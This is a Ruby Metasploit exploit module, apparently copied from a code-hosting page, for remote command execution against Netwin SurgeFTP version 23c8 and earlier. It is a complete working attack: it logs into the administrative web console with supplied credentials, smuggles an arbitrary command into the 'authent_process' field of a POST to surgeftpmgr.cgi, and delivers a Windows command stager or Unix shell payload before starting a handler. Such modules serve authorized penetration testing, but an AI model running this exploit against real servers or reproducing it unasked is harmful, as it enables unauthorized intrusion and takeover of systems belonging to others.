127 lines
3.9 KiB
Ruby
127 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Netwin SurgeFTP Remote Command Execution',
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'Description' => %q{
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This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8
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or prior. In order to execute commands via the FTP service, please note that
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you must have a valid credential to the web-based administrative console.
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},
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'Author' =>
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[
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'Spencer McIntyre', #Who found this vuln?
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'sinn3r'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '89105' ],
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[ 'EDB', '23522' ]
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],
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'Platform' => %w{ win unix },
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'Targets' =>
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[
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[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win', 'CmdStagerFlavor' => 'vbs'} ],
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[ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ]
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],
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'DisclosureDate' => 'Dec 06 2012'))
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register_options(
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[
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Opt::RPORT(7021),
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OptString.new('HttpUsername', [ true, 'The username with admin role to authenticate as', 'admin' ]),
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OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ])
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], self.class)
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end
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def check
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res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})
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if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Safe
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end
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end
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def execute_command(cmd, opts)
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http_send_command("cmd.exe /q /c #{cmd}")
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end
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def http_send_command(command)
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res = send_request_cgi(
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{
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'uri' => '/cgi/surgeftpmgr.cgi',
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'method' => 'POST',
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'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
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'vars_post' =>
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{
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'global_smtp' => "",
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'global_restart' => "",
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'global_style' => "",
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'global_bind' => "",
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'global_passive_ip' => "",
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'global_passive_match' => "",
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'global_logon_mode' => "",
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'global_log_host' => "",
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'global_login_error' => "",
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'global_adminip' => "",
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'global_total_users' => "",
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'global_con_perip' => "",
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'global_ssl' => "",
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'global_ssl_cipher_list' => "",
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'global_implicit_port' => "",
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'log_level' => "",
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'log_home' => "",
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'global_watcher_program_ul' => "",
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'global_watcher_program_dl' => "",
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'authent_process' => command,
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'authent_cmdopts' => "",
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'authent_number' => "",
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'authent_domain' => "",
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'global_strip_user_domain' => "",
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'global_noclass' => "",
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'global_anon_hammer_over_time' => "",
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'global_anon_hammer_max' => "",
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'global_anon_hammer_block_time' => "",
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'global_port' => "",
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'global_mgr_port' => "",
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'global_mgr_ssl_port' => "",
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'cmd_global_save.x' => "36",
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'cmd_global_save.y' => "8",
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}
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})
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if res and res.body =~ /401 Authorization failed/
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fail_with(Failure::NoAccess, "Unable to log in!")
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elsif not (res and res.code == 200)
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fail_with(Failure::Unknown, 'Failed to execute command.')
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end
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end
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def exploit
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case target['Platform']
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when 'win'
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print_status("#{rhost}:#{rport} - Sending command stager...")
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execute_cmdstager({:linemax=>500})
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when 'unix'
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print_status("#{rhost}:#{rport} - Sending payload...")
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http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|)
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end
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handler
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end
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end
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